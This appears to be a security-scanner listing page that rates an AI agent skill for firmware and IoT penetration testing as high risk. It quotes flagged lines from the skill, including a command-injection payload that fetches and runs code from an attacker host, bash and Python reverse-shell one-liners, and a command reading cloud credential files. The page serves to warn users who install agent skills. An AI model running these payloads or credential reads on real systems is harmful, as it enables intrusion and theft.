firmware-pentest

47 / 100 · High risk

Only if you trust the author. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By zhaoxuya520/reverse-skill (GitHub) · security · 44,484 stars · scanned at commit cab634b

固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始，闭环走完逆向 → 提取 → 模拟 → 利用。方法论遵循 OWASP FSTM 九阶段；工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。适用场景：路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。触发关键词：固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。

Works with any agent that supports SKILL.md skills.

What this skill can do

Sends data to these websites: fccid.io, attacker, 192.168.0.1, crt.sh, {target_domain}

The author does not mention this. Expected for a security skill.

Found in 5 places.

skills/firmware-pentest/SKILL.md, line 76curl -s "https://fccid.io/?q=$FCC_ID"
skills/firmware-pentest/SKILL.md, line 225- 构造 hostname=`;wget http://attacker/x;sh x;`
skills/firmware-pentest/references/emulation-and-fuzz.md, line 118curl -I http://192.168.0.1/

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skills/field-journal/precedent-pentest.md, line 26□ crt.sh: curl -s "https://crt.sh/?q=%25.{target_domain}&output=json" | jq -r '.[].name_value' | sort -u
skills/field-journal/precedent-pentest.md, line 53□ curl -sI https://{target_domain} | grep -i "server\|x-powered-by\|x-aspnet\|set-cookie"

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.

Found in 13 places.

skills/firmware-pentest/SKILL.md, line 76curl -s "https://fccid.io/?q=$FCC_ID"
skills/firmware-pentest/SKILL.md, line 90mitmdump -s save_response.py
skills/firmware-pentest/SKILL.md, line 104binwalk firmware.bin # magic 扫描

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skills/firmware-pentest/SKILL.md, line 116binwalk -eM firmware.bin # 递归提取
skills/firmware-pentest/SKILL.md, line 127sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
skills/firmware-pentest/SKILL.md, line 133grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
skills/firmware-pentest/SKILL.md, line 144qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
skills/firmware-pentest/SKILL.md, line 156qemu-mipsel-static -g 1234 ./vuln_binary
skills/firmware-pentest/SKILL.md, line 169AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
skills/firmware-pentest/SKILL.md, line 178python3 -c "
skills/firmware-pentest/SKILL.md, line 302sudo apt update && sudo apt install -y \
skills/field-journal/precedent-pentest.md, line 459□ bash -c 'exec bash -i &>/dev/tcp/{ip}/{port} <&1'
skills/field-journal/precedent-pentest.md, line 467□ python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subproc

Downloads and installs other software

The author does not mention this.

Found in 5 places.

skills/firmware-pentest/SKILL.md, line 302sudo apt update && sudo apt install -y \
skills/firmware-pentest/SKILL.md, line 307cargo install binwalk
skills/firmware-pentest/SKILL.md, line 310pip3 install --user unblob jefferson ubi_reader pwntools

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skills/firmware-pentest/references/emulation-and-fuzz.md, line 157sudo pip3 install -r requirements.txt
skills/firmware-pentest/references/emulation-and-fuzz.md, line 237pip3 install boofuzz

Changes files outside its own folder

The author does not mention this.

Found in 5 places.

skills/firmware-pentest/references/emba-automated-analysis.md, line 165cp my_rule.yar ~/tools/emba/external/yara/
skills/firmware-pentest/references/emba-automated-analysis.md, line 168cp my_rule.yaml ~/tools/emba/config/semgrep_rules/
skills/firmware-pentest/references/emulation-and-fuzz.md, line 32cp /usr/bin/qemu-mipsel-static squashfs-root/usr/bin/

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skills/firmware-pentest/references/emulation-and-fuzz.md, line 131echo "wan_ipaddr=192.168.0.100" >> ~/tools/firmadyne/nvram_files/nvram.default
skills/firmware-pentest/references/emulation-and-fuzz.md, line 132echo "lan_ifname=br0" >> ~/tools/firmadyne/nvram_files/nvram.default

Reads your saved credentials, such as SSH keys or .env files

The author does not mention this.

Found in 1 place.

skills/field-journal/precedent-pentest.md, line 441□ cat ~/.aws/credentials ~/.azure/accessTokens.json ~/.config/gcloud/credentials.json

Safer alternatives

Low-risk skills in the same category (security) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'firmware-pentest' ] || [ -L ~/.agents/skills/'firmware-pentest' ]; then echo 'A skill folder named firmware-pentest already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/zhaoxuya520/reverse-skill' "$d" && git -C "$d" checkout --quiet 'cab634bd855fc287f6e420c1f36fd1a6b9245960' -- 'skills/firmware-pentest' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/firmware-pentest' ~/.agents/skills/'firmware-pentest' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'firmware-pentest' ~/.claude/skills/'firmware-pentest' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

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Score history

Date	Version	Score
2026-11-08	`cab634b`	47
2026-11-07	`cab634b`	47